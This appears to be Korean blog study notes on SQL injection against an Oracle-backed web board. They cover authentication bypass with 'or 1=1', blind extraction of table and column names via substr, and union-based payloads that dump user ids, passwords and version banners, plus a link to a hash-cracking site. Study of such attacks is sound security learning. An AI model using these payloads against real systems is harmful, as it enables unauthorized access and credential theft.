SQL 인젝션
1. 인증 우회 공격
퀴리문 조작을 통해 인증 SQL문을 무력화 시킨다.
통상적인 계정 정보를 이용한다.
ex) admin. sys. root. adminstrator 등등
2. blind base 공격
검색창등의 입력창을 이용해서 데이터베이스에 대한 구조적인 정보를 알아내는데 사용된다.
테이블명, 컬럼명이나 컬럼의 개수, 행의 개수등을 알아낸다.
3. union base 공격
blind 공격을 통해 알아낸 정보를 기반으로 특정 테이블(인증 테이블)의 내용을 검색하는 공격이다.
1차원 패치는 쉽게 뚫림
2차원 패치는 최소한 계정명은 알아야함
blind 공격
사용되는 SQL 함수
substr (문자열, #, #)
length (문자열)
테이블명을 검색한다. (정렬된 내용중 첫번째 테이블명 검색)
테이블명의 글자 개수를 검색한다.
테이블의 컬럼명을 검색한다.
asd' or 1='1' --
sql = select id, pw, name from id where id = 'asd' or 1='1' --' and pw = DBMS_CRYPTO.Hash(to_clob(to_char('asd' or 1='1' --'||'')),2)
본문의 검색 방법
$sql = "SELECT 컬럼 리스트
FROM 게시판_테이블
WHERE 제목 LIKE '%문자열%'
ORDER BY 게시물_번호";
select rownum r, tname from tab order by tname; -> 테이블명 검색
select tname
from (select rownum r, tname from tab order by tname)
where r=1; -> 첫번째 테이블명
select substr ((select tname
from (select rownum r, tname
from tab order by tname)
where r=1),1,1)
from dual; -> 첫 번째 테이블명의 첫번째 글자
검색 입력 창에 다음을 입력하고 결과를 확인한다.
첫 번째 테이블 명의 첫 번째 글자가 A인지 확인한다.
A~Z, _등 입력 가능한 문자를 모두 입력해서 테이블명의 각 철자를 확인한다.
컬럼명 확인
select rownum r, column_name
from cols
where table_name = 'BOARD'
order by column_name;
컬럼의 데이터 타입 확인
select rownum r, column_name, data_type
from cols
where table_name = 'BOARD'
order by column_name;
다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=1),5,1) = 'C'--
다누리%' and substr ((select tname from (select rownum r, tname from
tab order by tname) where r=6),1,1) = 'b'--
RDBMS 정보 검색
SELECT banner FROM v$version
• 이 문장을 검색창에 union으로 삽입해서 게시판 화면에 정보가 검색되도록 한다.
• 제목 부분에 정보가 banner를 출력하는 경우
• 게시물을 검색하는 SQL문을 유추해야 한다.
%' union select 100, '1', 'id' , 'pw', '22', 10 from v$version --
%' union select 100, '1', id , pw, '2' , 10 from id --
%' union selec 30, '
%' union select 100, 'id', 'id' , pw, 10 from id --
%' union select 30, 'B', id , pw, 'YYYYMMDD', 10 from id --
%' union select 30, '28', id , pw, 'YYYYMMDD', 10 from id --
https://md5.web-max.ca/index.php#enter
-> 해시 복호화 사이트
%' union select 1, '2' , banner, 5 from v$version --
%' union select 100, '1', 'A' , banner , '22', 10 from v$version --
%' union select 20, '1', SID , AMHO , 'YYYYMMDD', 10 from SARAM --
%' union SELECT banner from v$version where row num=1
select rownum r, column_name, data_type
%' union select 7, '2', 'A', substr ((select column_name from (select rownum r, column_name from cols where table_name = 'SARAM' order by column_name) where r=1),2,1), 'a', 0 from dual--
'SQL' 카테고리의 다른 글
오라클 테이블스페이스 및 데이터 파일 관리 (0) | 2022.12.27 |
---|---|
오라클 redo log file (0) | 2022.12.27 |
오라클 자동실행 (0) | 2022.12.27 |
SQL index 시퀀스 (0) | 2022.12.27 |
오라클 Control file 확인 (0) | 2022.11.17 |